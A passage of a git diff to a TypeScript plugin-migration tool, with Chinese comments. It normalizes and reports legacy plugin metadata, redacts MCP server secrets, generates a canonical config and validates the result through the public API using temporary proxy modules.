'Description') + : undefined; + /** CLI 描述也按 Core 规则规范化,不允许空白字符串绕过。 */ + let description = normalizedText(options.description) ?? legacyDescription; + if (options.description !== undefined) { + if (description === undefined) + throw new Error('Migration description must be a non-empty string.'); + /** candidate 表示被显式 CLI 描述取代、但仍必须报告的旧来源字段。 */ + for (const candidate of descriptionCandidates) { + if (candidate.value === undefined) + continue; + /** 旧描述的规范化文本,用于区分无效输入与有意覆盖。 */ + const value = normalizedText(candidate.value); + reportField(fields, candidate.field, source, value === undefined ? 'unmapped' : 'degraded', value === undefined + ? 'Description did not satisfy the canonical metadata contract.' + : 'Explicit migration description superseded this legacy description source.'); + } + if (!plugin) + reportField(fields, 'description', source, description === options.description ? 'mapped' : 'degraded', description === options.description + ? 'Explicit description maps to top-level config description.' + : 'Explicit description required whitespace normalization.'); + } + if (description === undefined && process.stdin.isTTY) + description = normalizedText(await input({ message: 'Plugin description' })); + if (description === undefined) + throw new Error('Migration requires plugin name and description; pass --name and --description in non-interactive mode.'); + + /** npm SemVer 解析器与 Core 使用同一完整版本规则,包括 build metadata。 */ + const rawVersion = plugin?.meta.version as unknown; + /** 合法旧版本或明确记录降级后的稳定迁移默认版本。 */ + const version = typeof rawVersion === 'string' && semver.valid(rawVersion) ? rawVersion : '0.1.0'; + if (rawVersion !== undefined) { + reportField(fields, 'version', source, version === rawVersion ? 'mapped' : 'degraded', version === rawVersion + ? 'Semantic version maps directly to top-level config version.' + : 'Invalid legacy version required the 0.1.0 fallback.'); + } else { + reportField(fields, 'version', source, 'degraded', 'Missing legacy version required the 0.1.0 migration default.'); + } + + /** 展示名称优先保留根字段,Marketplace interface 只提供显式降级回退。 */ + const displayName = selectMetadataText(fields, source, [ + { field: 'displayName', value: plugin?.meta.displayName, fallback: false }, + { field: 'interface.displayName', value: pluginInterface?.displayName, fallback: true }, + ], 'Display name'); + + /** 旧 author 可能来自未经 Schema 校验的任意 JSON 值。 */ + const rawAuthor = plugin?.meta.author as unknown; + /** 只有根 author.name 合法时才允许组合其 email/url。 */ + const authorRecord = isRecord(rawAuthor) ? rawAuthor : undefined; + /** 根作者名称去空白后的候选。 */ + const rootAuthorName = normalizedText(authorRecord?.name); + /** Marketplace 展示层开发者名称只作为作者回退。 */ + const developerName = normalizedText(pluginInterface?.developerName); + /** 最终统一作者元数据。 */ + let author: PluginMetadata['author']; + if (rawAuthor !== undefined && authorRecord === undefined) + reportField(fields, 'author', source, 'unmapped', 'Author was not an object.'); + if (authorRecord !== undefined) { + if (authorRecord.name === undefined || rootAuthorName === undefined) { + reportField(fields, 'author.name', source, 'unmapped', 'Author name was not a non-empty string.'); + } else { + reportField(fields, 'author.name', source, rootAuthorName === authorRecord.name ? 'mapped' : 'degraded', rootAuthorName === authorRecord.name + ? 'Author name maps to top-level config author.name.' + : 'Author name required whitespace normalization.'); + } + /** 合法根身份下可以独立恢复的 email 与 URL。 */ + const authorDetails: { email?: string; url?: string } = {}; + for (const field of ['email', 'url'] as const) { + /** 当前作者详情字段未经验证的原始值。 */ + const rawValue = authorRecord[field]; + if (rawValue === undefined) + continue; + /** 去空白后的 email 或 URL。 */ + const value = normalizedText(rawValue); + /** 字段自身合法且具有可组合的作者身份时才写入。 */ + const valid = rootAuthorName !== undefined && value !== undefined + && (field === 'email' ? EMAIL_PATTERN.test(value) : isHttpUrl(value)); + if (valid) { + authorDetails[field] = value; + reportField(fields, `author.${field}`, source, value === rawValue ? 'mapped' : 'degraded', value === rawValue + ? `Author ${field} maps to top-level config author.${field}.` + : `Author ${field} required whitespace normalization.`); + } else { + reportField(fields, `author.${field}`, source, 'unmapped', `Author ${field} did not satisfy the canonical metadata contract.`); + } + } + /** key 表示旧 author 中当前无法识别的额外字段。 */ + for (const key of Object.keys(authorRecord).sort((left, right) => left.localeCompare(right, 'en'))) { + if (!['name', 'email', 'url'].includes(key)) + reportField(fields, `author.${key}`, source, 'unmapped', 'Unknown author field has no canonical mapping.'); + } + if (rootAuthorName !== undefined) + author = { name: rootAuthorName, ...authorDetails }; + } + if (pluginInterface?.developerName !== undefined) { + if (developerName === undefined) { + reportField(fields, 'interface.developerName', source, 'unmapped', 'Developer name was not a non-empty string.'); + } else if (author === undefined) { + author = { name: developerName }; + reportField(fields, 'interface.developerName', source, 'degraded', 'Developer name was used as the fallback canonical author.'); + } else if (author.name === developerName) { + reportField(fields, 'interface.developerName', source, 'degraded', 'Developer name duplicates author.name and was collapsed.'); + } else { + reportField(fields, 'interface.developerName', source, 'unmapped', 'Developer name conflicts with author.name and cannot be represented separately.'); + } + } + + /** URL 字段均按绝对 HTTP(S) 规则验证,interface website 只能降级回退。 */ + const homepage = selectMetadataText(fields, source, [ + { field: 'homepage', value: plugin?.meta.homepage, fallback: false }, + { field: 'interface.websiteURL', value: pluginInterface?.websiteURL, fallback: true }, + ], 'Homepage', isHttpUrl); + /** Repository 没有 interface 回退来源。 */ + const repository = selectMetadataText(fields, source, [ + { field: 'repository', value: plugin?.meta.repository, fallback: false }, + ], 'Repository', isHttpUrl); + /** License 使用真实 SPDX Parser,不以非空字符串冒充合法表达式。 */ + const license = selectMetadataText(fields, source, [ + { field: 'license', value: plugin?.meta.license, fallback: false }, + ], 'License', isSpdxExpression); + + /** Keywords 允许去空白和去重,但任何这种规范化都必须 degraded。 */ + const rawKeywords = plugin?.meta.keywords as unknown; + /** 只有结构有效时才写入配置的规范 keyword 列表。 */ + let keywords: readonly string[] | undefined; + if (rawKeywords !== undefined) { + if (!Array.isArray(rawKeywords) || rawKeywords.some(keyword => normalizedText(keyword) === undefined)) { + reportField(fields, 'keywords', source, 'unmapped', 'Keywords must be an array of non-empty strings.'); + } else { + /** 保持首次出现顺序的规范 keyword。 */ + const normalizedKeywords = rawKeywords.map(keyword => normalizedText(keyword)!); + /** 去重后的规范 keyword 数组。 */ + const uniqueKeywords = [...new Set(normalizedKeywords)]; + /** 去空白或重复折叠都会改变旧字段表示。 */ + const changed = uniqueKeywords.length !== normalizedKeywords.length + || normalizedKeywords.some((keyword, index) => keyword !== rawKeywords[index]); + keywords = uniqueKeywords; + reportField(fields, 'keywords', source, changed ? 'degraded' : 'mapped', changed + ? 'Keywords required whitespace normalization or duplicate removal.' + : 'Keywords map directly to the top-level config field.'); + } + } + + if (plugin?.meta.category !== undefined) + reportField(fields, 'category', source, 'unmapped', 'Platform-neutral metadata has no category field; configure it on a Platform factory.'); + if (plugin?.meta.apps !== undefined) + reportField(fields, 'apps', source, 'unmapped', 'Legacy apps are outside the acplugin 1.0 component contract.'); + /** field 表示当前没有统一元数据或安全自动映射的旧 interface 字段。 */ + for (const field of Object.keys(pluginInterface ?? {}).sort((left, right) => left.localeCompare(right, 'en'))) { + if (!['displayName', 'shortDescription', 'longDescription', 'developerName', 'websiteURL'].includes(field)) + reportField(fields, `interface.${field}`, source, 'unmapped', 'The Marketplace interface field requires explicit Platform configuration.'); + } + /** 只写入通过逐字段校验的元数据,避免最终 Pipeline 退化为无字段信息的通用失败。 */ + const metadata: PluginMetadata = { name, - version: plugin?.meta.version && /^\d+\.\d+\.\d+/.test(plugin.meta.version) ? plugin.meta.version : '0.1.0', + version, description, - ...(plugin?.meta.displayName ? { displayName: plugin.meta.displayName } : {}), + ...(displayName === undefined ? {} : { displayName }), + ...(author === undefined ? {} : { author }), + ...(homepage === undefined ? {} : { homepage }), + ...(repository === undefined ? {} : { repository }), + ...(license === undefined ? {} : { license }), + ...(keywords === undefined ? {} : { keywords }), }; + items.push(migrationItem({ kind: 'metadata', id: name, source, destination: 'acplugin.config.ts' }, fields)); + return metadata; +} + +/** + * 用正式公开 API 加载并验证刚生成、尚未提交的规范工程。 + * + * 生成工程尚未安装 package.json 依赖,因此验证期间创建只存在于 stage 的 ESM 代理。 + * 代理不实现任何规则,只把配置和 descriptor 导向当前进程已经加载的真实主包与 MCP + * Extension;验证后整个 node_modules 会在提交前删除。 + * + * @param outputRoot 单个迁移后规范工程的阶段目录。 + * @param usesMcp 工程是否需要正式 MCP Extension 参与 discover/validate。 + * @returns 公开 runProject() 返回的完整结构化诊断。 + */ +async function validateCanonicalProject( + outputRoot: string, + usesMcp: boolean, +): Promise { + /** 只供本次配置加载解析两个正式包名的临时依赖根。 */ + const nodeModules = path.join(outputRoot, 'node_modules'); + /** 全局桥接只包含公开工厂,不暴露 Core Registry 或生命周期入口。 */ + const api: MigrationValidationApi = Object.freeze({ defineConfig, claudeCode, mcp, defineMcpServer }); + Reflect.set(globalThis, MIGRATION_VALIDATION_API, api); + activeValidationProxies += 1; + try { + /** 临时主包代理由生成的 acplugin.config.ts 正常按包名导入。 */ + const acpluginPackage = path.join(nodeModules, '@tokenroll/acplugin'); + await copyText(path.join(acpluginPackage, 'package.json'), stableJson({ + name: '@tokenroll/acplugin', + version: '1.0.0', + type: 'module', + exports: './index.mjs', + })); + await copyText(path.join(acpluginPackage, 'index.mjs'), ` +const api = globalThis[Symbol.for('tokenroll.acplugin.migration-validation-api')]; +if (!api) throw new Error('Migration validation API is unavailable.'); +export const defineConfig = api.defineConfig; +export const claudeCode = api.claudeCode; +`); + if (usesMcp) { + /** 临时 Extension 代理同时服务配置工厂和每个 mcp.ts 的定义工厂导入。 */ + const extensionPackage = path.join(nodeModules, '@tokenroll/acplugin-extension-mcp'); + await copyText(path.join(extensionPackage, 'package.json'), stableJson({ + name: '@tokenroll/acplugin-extension-mcp', + version: '1.0.0', + type: 'module', + exports: './index.mjs', + })); + await copyText(path.join(extensionPackage, 'index.mjs'), ` +const api = globalThis[Symbol.for('tokenroll.acplugin.migration-validation-api')]; +if (!api) throw new Error('Migration validation API is unavailable.'); +export const defineMcpServer = api.defineMcpServer; +export default api.mcp; +`); + } + /** 正式配置加载、Scanner、Extension 和全部配置 Platform validate 的公开结果。 */ + const result = await runProject({ + cwd: outputRoot, + command: 'validate', + mode: 'production', + commit: false, + }); + return result.diagnostics; + } catch { + /** 配置执行异常统一收敛为不携带路径、导出值或堆栈的迁移诊断。 */ + const diagnostics: readonly Diagnostic[] = Object.freeze([{ + code: 'MIGRATION_PROJECT_VALIDATION_FAILED', + severity: 'error', + phase: 'migration', + message: 'The generated project could not be loaded and validated through the public API.', + }]); + return diagnostics; + } finally { + await fs.rm(nodeModules, { recursive: true, force: true }); + activeValidationProxies -= 1; + if (activeValidationProxies === 0) + Reflect.deleteProperty(globalThis, MIGRATION_VALIDATION_API); + } } /** @@ -530,10 +1341,12 @@ async function writeCanonicalProject( outputRoot: string, options: MigrationOptions, ): Promise<{ items: MigrationItem[]; diagnostics: readonly Diagnostic[] }> { - /** 新工程最终使用的规范元数据。 */ - const metadata = await metadataFor(scan, options); /** 当前工程累计的资源迁移结论。 */ const items: MigrationItem[] = []; + /** 新工程最终使用的规范元数据。 */ + const metadata = await metadataFor(scan, options, items); + // 即使旧来源只有未映射资源,也要保留合法的空 src 根以通过最终 Core 空状态校验。 + await fs.mkdir(path.join(outputRoot, 'src'), { recursive: true }); /** Skills、Commands 与 Agents 的并行写入任务。 */ const writes: Promise[] = []; for (const skill of scan.skills) @@ -545,62 +1358,123 @@ async function writeCanonicalProject( await Promise.all(writes); for (const [index, instruction] of scan.instructions.entries()) { + /** 当前越界 Instruction 的安全未映射保留路径。 */ const destination = await unmapped(outputRoot, 'instructions', `${index}-${instruction.fileName}`, instruction.content); - items.push({ kind: 'instruction', id: instruction.fileName, outcome: 'unmapped', source: relative(scan.rootDir, instruction.sourcePath), destination, message: 'Instructions are outside the installable plugin boundary.' }); + /** Instruction 原文所在的旧工程相对路径。 */ + const source = relative(scan.rootDir, instruction.sourcePath); + items.push(migrationItem({ kind: 'instruction', id: instruction.fileName, source, destination }, [{ + field: 'content', source, destination, outcome: 'unmapped', + reason: 'Instructions are outside the installable plugin boundary.', + }])); } - /** 是否至少自动迁移了一个安全远程 MCP,并需要启用官方 Module。 */ + /** 是否至少自动迁移了一个安全远程 MCP,并需要启用官方 Extension。 */ let usesMcp = false; for (const server of scan.mcp?.servers ?? []) { /** 由旧 Server 名称转换出的规范 MCP ID。 */ const id = safeId(server.name); /** 满足安全自动迁移条件时生成的类型化描述源码。 */ const source = remoteMcpSource(server); + /** MCP 字段报告共同使用的旧配置相对路径。 */ + const sourcePath = relative(scan.rootDir, scan.mcp!.sourcePath); if (source) { + /** 自动迁移的远程 MCP 类型化描述文件路径。 */ const destination = `src/mcp/${id}/mcp.ts`; await copyText(path.join(outputRoot, destination), source); - items.push({ kind: 'mcp', id, outcome: 'migrated', source: relative(scan.rootDir, scan.mcp!.sourcePath), destination }); + /** 安全远程 MCP 的全部声明字段。 */ + const fields: MigrationFieldDraft[] = []; + reportField(fields, 'name', sourcePath, ID_PATTERN.test(server.name) ? 'mapped' : 'degraded', ID_PATTERN.test(server.name) + ? 'Server key maps directly to the canonical MCP ID.' + : 'Server identity required lowercase kebab-case normalization.'); + reportField(fields, 'transport', sourcePath, 'mapped', 'Remote HTTP transport maps to the canonical MCP descriptor.'); + reportField(fields, 'url', sourcePath, 'mapped', 'Credential-free HTTPS URL maps to the canonical MCP descriptor.'); + for (const name of Object.keys(server.headers ?? {}).sort((left, right) => left.localeCompare(right, 'en'))) { + reportField(fields, `headers.${name}`, sourcePath, 'mapped', name.toLowerCase() === 'authorization' + ? 'Environment-only Authorization maps to canonical bearer auth without reading the secret.' + : 'Environment-only header maps without reading the secret value.'); + } + items.push(migrationItem({ kind: 'mcp', id, source: sourcePath, destination }, fields)); usesMcp = true; } else { + /** 无法自动迁移 MCP 的脱敏未映射记录路径。 */ const destination = await unmapped(outputRoot, 'mcp', `${id}.json`, stableJson({ [server.name]: redactedMcpServer(server) })); - items.push({ kind: 'mcp', id, outcome: 'unmapped', source: relative(scan.rootDir, scan.mcp!.sourcePath), destination, message: 'Local command or unsupported transport MCP requires a complete canonical implementation.' }); + /** 无法自动迁移的 MCP 仍逐个报告实际存在字段,且不复制任何值。 */ + const fields: MigrationFieldDraft[] = []; + reportField(fields, 'name', sourcePath, ID_PATTERN.test(server.name) ? 'mapped' : 'degraded', ID_PATTERN.test(server.name) + ? 'Server key maps to the migration record identity.' + : 'Server identity required lowercase kebab-case normalization.'); + for (const field of ['command', 'args', 'type', 'url'] as const) { + if (server[field] !== undefined) { + reportField(fields, field, sourcePath, 'unmapped', 'This MCP field requires a complete canonical implementation or a supported safe remote declaration.'); + } + } + for (const name of Object.keys(server.env ?? {}).sort((left, right) => left.localeCompare(right, 'en'))) + reportField(fields, `env.${name}`, sourcePath, 'unmapped', 'Local MCP environment mapping is preserved only in the redacted sidecar.'); + for (const name of Object.keys(server.headers ?? {}).sort((left, right) => left.localeCompare(right, 'en'))) + reportField(fields, `headers.${name}`, sourcePath, 'unmapped', 'Unsafe or literal MCP header is preserved only as a redacted field name.'); + items.push(migrationItem({ kind: 'mcp', id, source: sourcePath, destination }, fields)); } } if (scan.hooks) { + /** 原始 Hooks 配置的未映射保留路径。 */ const destination = await unmapped(outputRoot, 'hooks', 'hooks.json', stableJson({ hooks: scan.hooks })); - items.push({ kind: 'hooks', id: 'hooks', outcome: 'unmapped', destination, message: 'Raw legacy Hooks require manual typed handler migration.' }); + /** Legacy Scanner 保留的 Hooks 配置精确来源路径。 */ + const source = scan.hooksSourcePath === undefined ? '.' : relative(scan.rootDir, scan.hooksSourcePath); + /** 每个旧事件分别进入字段报告,避免聚合配置掩盖丢失范围。 */ + const fields = Object.keys(scan.hooks).sort((left, right) => left.localeCompare(right, 'en')).map(event => ({ + field: `event:${event}`, source, destination, outcome: 'unmapped', + reason: 'Raw legacy Hook event requires manual typed handler migration.', + })); + items.push(migrationItem({ kind: 'hooks', id: 'hooks', source, destination }, fields)); for (const reference of hookReferenceCandidates(scan.hooks)) await copyHookReference(scan.rootDir, reference, outputRoot, items); } for (const file of scan.pluginFiles) { + /** 当前未分类 Plugin 文件的隔离保留路径。 */ const destination = await unmapped(outputRoot, 'plugin-files', file.relativePath, file.content); - items.push({ kind: 'plugin-file', id: file.relativePath, outcome: 'unmapped', destination, message: 'Unclassified plugin files are not published automatically.' }); + items.push(migrationItem({ kind: 'plugin-file', id: file.relativePath, source: file.relativePath, destination }, [{ + field: 'content', source: file.relativePath, destination, outcome: 'unmapped', + reason: 'Unclassified plugin files are not published automatically.', + }])); } - /** 规范配置入口及按需追加的官方 Module 导入。 */ - const imports = [`import { defineConfig } from '@tokenroll/acplugin';`]; + /** 是否没有任何能够生成 Codex Skill 或 fallback Skill 的规范 Component。 */ + const hasCanonicalComponents = scan.skills.length + scan.commands.length + scan.agents.length > 0; + /** 规范配置入口及按需追加的 Platform/Extension 导入。 */ + const imports = [`import { defineConfig${hasCanonicalComponents ? '' : ', claudeCode'} } from '@tokenroll/acplugin';`]; if (usesMcp) - imports.push(`import mcp from '@tokenroll/acplugin-module-mcp';`); - await copyText(path.join(outputRoot, 'acplugin.config.ts'), `${imports.join('\n')} - -export default defineConfig({ - name: ${JSON.stringify(metadata.name)}, - version: ${JSON.stringify(metadata.version)}, - description: ${JSON.stringify(metadata.description)},${metadata.displayName - ? ` - displayName: ${JSON.stringify(metadata.displayName)},` - : ''}${usesMcp - ? ` - modules: [mcp()],` - : ''} -}); -`); - /** 新工程基础开发依赖及按需追加的官方 MCP Module。 */ + imports.push(`import mcp from '@tokenroll/acplugin-extension-mcp';`); + /** 按稳定顺序组成且只包含已知字段的最终配置行。 */ + const configLines = [ + 'export default defineConfig({', + ` name: ${JSON.stringify(metadata.name)},`, + ` version: ${JSON.stringify(metadata.version)},`, + ` description: ${JSON.stringify(metadata.description)},`, + ]; + if (metadata.displayName !== undefined) + configLines.push(` displayName: ${JSON.stringify(metadata.displayName)},`); + if (metadata.author !== undefined) + configLines.push(` author: ${JSON.stringify(metadata.author)},`); + if (metadata.homepage !== undefined) + configLines.push(` homepage: ${JSON.stringify(metadata.homepage)},`); + if (metadata.repository !== undefined) + configLines.push(` repository: ${JSON.stringify(metadata.repository)},`); + if (metadata.license !== undefined) + configLines.push(` license: ${JSON.stringify(metadata.license)},`); + if (metadata.keywords !== undefined) + configLines.push(` keywords: ${JSON.stringify(metadata.keywords)},`); + if (usesMcp) + configLines.push(' extensions: [mcp()],'); + if (!hasCanonicalComponents) + configLines.push(' platforms: [claudeCode()],'); + configLines.push(' build: { strict: false },', '});'); + await copyText(path.join(outputRoot, 'acplugin.config.ts'), `${imports.join('\n')}\n\n${configLines.join('\n')}\n`); + /** 新工程基础开发依赖及按需追加的官方 MCP Extension。 */ const devDependencies: Record = { '@tokenroll/acplugin': '^1.0.0', 'typescript': '^7.0.2', '@types/node': '^20.19.0' }; if (usesMcp) - devDependencies['@tokenroll/acplugin-module-mcp'] = '^1.0.0'; + devDependencies['@tokenroll/acplugin-extension-mcp'] = '^1.0.0'; await copyText(path.join(outputRoot, 'package.json'), stableJson({ name: metadata.name, version: metadata.version, @@ -611,18 +1485,10 @@ export default defineConfig({ devDependencies, })); await copyText(path.join(outputRoot, 'tsconfig.json'), stableJson({ compilerOptions: { target: 'ES2022', module: 'NodeNext', moduleResolution: 'NodeNext', strict: true, noEmit: true, types: ['node'], skipLibCheck: true }, include: ['acplugin.config.ts', 'src/**/*.ts'] })); - await copyText(path.join(outputRoot, '.gitignore'), 'node_modules\ndist\n'); + await copyText(path.join(outputRoot, '.gitignore'), 'node_modules\ndist\n.acplugin-migration/unmapped/\n'); - // 迁移结果必须重新经过当前 Core 配置与 Scanner 契约,避免只生成“看似正确”的目录。 - const resolved = resolveConfig({ - ...metadata, - ...(usesMcp ? { modules: [{ name: '@tokenroll/acplugin-module-mcp' }] } : {}), - }, path.join(outputRoot, 'acplugin.config.ts'), 'validate', 'production'); - if (!resolved.config) - return { items, diagnostics: resolved.diagnostics }; - /** 对生成工程执行的当前版本 Scanner 结果。 */ - const scanned = await scanProject(resolved.config); - return { items, diagnostics: scanned.diagnostics.diagnostics }; + // 只有正式公开 Pipeline 能证明生成配置与实际 Extension/Platform 契约共同成立。 + return { items, diagnostics: await validateCanonicalProject(outputRoot, usesMcp) }; } /** @@ -692,24 +1558,65 @@ export async function migrate(options: MigrationOptions): Promise or --all, not both.'); /** CLI --all 或 --plugin 选择的迁移对象。 */ const selected = options.all ? plugins : plugins.filter(plugin => plugin.meta.name === options.plugin); if (selected.length === 0) throw new Error('Marketplace migration requires --plugin or --all.'); - for (const plugin of selected) { - /** Marketplace 工作区成员使用的规范目录 ID。 */ - const id = safeId(plugin.meta.name); - /** 当前成员在迁移阶段目录中的根路径。 */ - const projectRoot = path.join(stage, id); - /** 当前成员生成和重新扫描的结果。 */ - const result = await writeCanonicalProject(plugin, projectRoot, options); - items.push(...result.items.map(item => ({ ...item, destination: item.destination ? `${id}/${item.destination}` : undefined }))); + if (options.all) { + // 只有批量迁移创建 workspace;每个成员仍是带独立配置的单 Plugin 工程。 + for (const plugin of selected) { + /** Marketplace 工作区成员使用的规范目录 ID。 */ + const id = safeId(plugin.meta.name); + /** 当前成员在迁移阶段目录中的根路径。 */ + const projectRoot = path.join(stage, id); + /** 当前成员生成和重新扫描的结果。 */ + const result = await writeCanonicalProject(plugin, projectRoot, options); + items.push(...result.items.map((item) => { + /** Workspace 成员前缀必须同时应用到资源与每个字段的目标路径。 */ + const destination = item.destination ? `${id}/${item.destination}` : undefined; + return { + ...item, + ...(destination === undefined ? {} : { destination }), + fields: item.fields.map(field => ({ ...field, destination: `${id}/${field.destination}` })), + }; + })); + diagnostics.push(...result.diagnostics); + projects.push(id); + } + await copyText(path.join(stage, 'pnpm-workspace.yaml'), `packages:\n${projects.map(project => ` - ${project}`).join('\n')}\n`); + } else { + /** 单项选择直接写到 destination 根,不保留多余的 Marketplace 成员层级。 */ + const result = await writeCanonicalProject(selected[0]!, stage, options); + items.push(...result.items); diagnostics.push(...result.diagnostics); - projects.push(id); + projects.push('.'); } - await copyText(path.join(stage, 'pnpm-workspace.yaml'), `packages:\n${projects.map(project => ` - ${project}`).join('\n')}\n`); } else { sourceType = isSinglePlugin(sourceRoot) ? 'plugin' : 'project'; /** 根据来源类型调用对应 Legacy Scanner 的结果。 */ @@ -735,7 +1642,7 @@ export async function migrate(options: MigrationOptions): Promise // Git 不可用时下载 GitHub 生成的归档。 return await downloadTarball(verified, tmpDir); - } catch (error) { + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { cleanupTempDir(tmpDir); throw error; } diff --git a/packages/acplugin/src/migration/legacy/scanner/claude.ts b/packages/acplugin/src/migration/legacy/scanner/claude.ts index 6a7d6ea..e11d77b 100644 --- a/packages/acplugin/src/migration/legacy/scanner/claude.ts +++ b/packages/acplugin/src/migration/legacy/scanner/claude.ts @@ -10,13 +10,18 @@ import type { ScanResult, Skill, SkillFrontmatter, SkillAuxFile, Instruction, MC * @returns 供隔离迁移层消费的宽松 ScanResult。 */ export function scanClaudeProject(rootDir: string): ScanResult { + /** Claude Project 固定的旧 Hooks 配置文件。 */ + const hooksSourcePath = path.join(rootDir, '.claude', 'settings.json'); + /** 从 Settings 中容错读取的 Hooks 映射。 */ + const hooks = scanSettingsHooks(hooksSourcePath); return { skills: scanSkillsDir(path.join(rootDir, '.claude', 'skills')), instructions: scanInstructions(rootDir), mcp: scanMCPJson(path.join(rootDir, '.mcp.json')), agents: scanAgentsDir(path.join(rootDir, '.claude', 'agents')), commands: scanCommandsDir(path.join(rootDir, '.claude', 'commands')), - hooks: scanSettingsHooks(path.join(rootDir, '.claude', 'settings.json')), + hooks, + ...(hooks === null ? {} : { hooksSourcePath }), pluginFiles: [], rootDir, }; @@ -42,6 +47,7 @@ export function scanSkillsDir(skillsDir: string): Skill[] { /** 无论 Frontmatter 是否有效都需要保留的辅助文件。 */ const auxFiles = scanSkillAuxFiles(dir); try { + /** 成功解析的旧 Skill Frontmatter 与正文。 */ const { data, body } = parseFrontmatter(content); skills.push({ dirName: path.basename(dir), @@ -65,7 +71,7 @@ export function scanSkillsDir(skillsDir: string): Skill[] { } /** - * 递归扫描 Skill 目录中除 SKILL.md 外的全部辅助文本文件。 + * 递归扫描 Skill 目录中除 SKILL.md 外的全部辅助文件。 * * @param skillDir 单个旧 Skill 根目录。 * @returns references、scripts、assets 等子目录中的辅助文件。 @@ -79,10 +85,8 @@ function scanSkillAuxFiles(skillDir: string): SkillAuxFile[] { /** 当前文件相对于旧 Skill 根目录的路径。 */ const relativePath = path.relative(skillDir, file); if (relativePath === 'SKILL.md') continue; - const content = readFile(file); - if (content !== null) { - auxFiles.push({ relativePath, content }); - } + // 辅助文件可能是图片、压缩包或其他二进制内容,只记录可信来源路径,迁移阶段按字节复制。 + auxFiles.push({ relativePath, sourcePath: file }); } return auxFiles; } @@ -97,9 +101,11 @@ export function scanAgentsDir(agentsDir: string): Agent[] { /** 当前目录累计发现的旧 Agents。 */ const agents: Agent[] = []; for (const file of listFiles(agentsDir, '\\.md$')) { + /** 当前旧 Agent Markdown 的完整内容。 */ const content = readFile(file); if (!content) continue; try { + /** 成功解析的旧 Agent Frontmatter 与正文。 */ const { data, body } = parseFrontmatter(content); agents.push({ fileName: path.basename(file, '.md'), @@ -130,6 +136,7 @@ export function scanCommandsDir(commandsDir: string): Command[] { /** 当前目录累计发现的旧 Commands。 */ const commands: Command[] = []; for (const file of listFiles(commandsDir, '\\.md$')) { + /** 当前旧 Command Markdown 的完整内容。 */ const content = readFile(file); if (!content) continue; commands.push({ @@ -185,6 +192,7 @@ export function scanSettingsHooks(settingsPath: string): Hooks | null { if (!content) return null; try { + /** 旧 Settings 解析出的未知 JSON 对象。 */ const data = JSON.parse(content); return data.hooks || null; } catch { @@ -204,6 +212,7 @@ export function scanHooksJson(hooksJsonPath: string): Hooks | null { if (!content) return null; try { + /** 旧 hooks.json 解析出的未知 JSON 对象。 */ const data = JSON.parse(content); return data.hooks || null; } catch { @@ -226,6 +235,7 @@ function scanInstructions(rootDir: string): Instruction[] { for (const name of ['CLAUDE.md', '.claude/CLAUDE.md']) { /** 当前 CLAUDE.md 候选文件绝对路径。 */ const filePath = path.join(rootDir, name); + /** 当前候选 Instruction 的可选文本内容。 */ const content = readFile(filePath); if (content) { instructions.push({ fileName: path.basename(name), content, sourcePath: filePath, isRule: false }); @@ -235,6 +245,7 @@ function scanInstructions(rootDir: string): Instruction[] { /** `.claude/rules` 旧规则目录。 */ const rulesDir = path.join(rootDir, '.claude', 'rules'); for (const file of listFiles(rulesDir, '\\.md$')) { + /** 当前旧 Rule Markdown 的可选文本内容。 */ const content = readFile(file); if (content) { instructions.push({ fileName: path.basename(file), content, sourcePath: file, isRule: true }); diff --git a/packages/acplugin/src/migration/legacy/scanner/plugin.ts b/packages/acplugin/src/migration/legacy/scanner/plugin.ts index 9e1a910..2f56f3b 100644 --- a/packages/acplugin/src/migration/legacy/scanner/plugin.ts +++ b/packages/acplugin/src/migration/legacy/scanner/plugin.ts @@ -139,9 +139,14 @@ export function resolvePluginDir(rootDir: string, source: string, pluginRoot?: s * * @param pluginDir 旧 Plugin 根目录。 * @param meta Marketplace 已提供的可选元数据。 + * @param metadataSource 报告使用的来源根相对元数据清单路径。 * @returns 资源路径已经解析的完整 PluginScanResult。 */ -export function scanPlugin(pluginDir: string, meta?: PluginMeta): PluginScanResult { +export function scanPlugin( + pluginDir: string, + meta?: PluginMeta, + metadataSource = '.claude-plugin/plugin.json', +): PluginScanResult { // Marketplace 未提供元数据时回退到 Plugin 自己的清单。 /** 当前 Plugin 最终使用的旧元数据。 */ const resolvedMeta = meta || readPluginMeta(pluginDir); @@ -176,6 +181,8 @@ export function scanPlugin(pluginDir: string, meta?: PluginMeta): PluginScanResu : path.join(pluginDir, '.mcp.json'); /** 容错解析后的旧 MCP 配置。 */ const mcpConfig = scanMCPJson(mcpPath); + /** 容错解析后的旧 Hooks 配置。 */ + const hooks = scanHooksJson(hooksPath); // 保存 MCP 命令显式引用的 scripts 等 Plugin 级文件,避免迁移时静默丢失。 /** 旧 MCP 引用的未分类 Plugin 文件。 */ @@ -183,12 +190,14 @@ export function scanPlugin(pluginDir: string, meta?: PluginMeta): PluginScanResu return { meta: resolvedMeta, + metadataSource, skills: scanSkillsDir(skillsDir), instructions: [], mcp: mcpConfig, agents: scanAgentsDir(agentsDir), commands: scanCommandsDir(commandsDir), - hooks: scanHooksJson(hooksPath), + hooks, + ...(hooks === null ? {} : { hooksSourcePath: hooksPath }), pluginFiles, rootDir: pluginDir, }; @@ -257,6 +266,7 @@ function scanMCPReferencedFiles(pluginDir: string, mcp: MCPConfig | null): Plugi for (const server of mcp.servers) { // 从命令参数提取 Plugin 根变量后的第一级目录。 for (const arg of server.args || []) { + /** 当前参数内全部 Plugin 根变量路径引用。 */ const matches = arg.matchAll(/\$\{CLAUDE_PLUGIN_ROOT\}\/([^\s"]+)/g); for (const m of matches) { referencedDirs.add(m[1].split('/')[0]); @@ -264,6 +274,7 @@ function scanMCPReferencedFiles(pluginDir: string, mcp: MCPConfig | null): Plugi } // 从环境值提取 Plugin 根变量后的第一级目录。 for (const val of Object.values(server.env || {})) { + /** 当前环境值内全部 Plugin 根变量路径引用。 */ const matches = val.matchAll(/\$\{CLAUDE_PLUGIN_ROOT\}\/([^\s"]+)/g); for (const m of matches) { referencedDirs.add(m[1].split('/')[0]); @@ -278,6 +289,7 @@ function scanMCPReferencedFiles(pluginDir: string, mcp: MCPConfig | null): Plugi const dirPath = resolveInside(pluginDir, dirName, 'MCP referenced path'); if (!fileExists(dirPath)) continue; for (const file of listFilesRecursive(dirPath)) { + /** MCP 引用目录中当前文件的可选文本内容。 */ const content = readFile(file); if (content !== null) { files.push({ @@ -367,33 +379,28 @@ export function scanAllPlugins(rootDir: string): PluginScanResult[] { switch (targetType) { case 'skills-dir': result = { - meta, skills: scanSkillsDir(pluginDir), + meta, metadataSource: 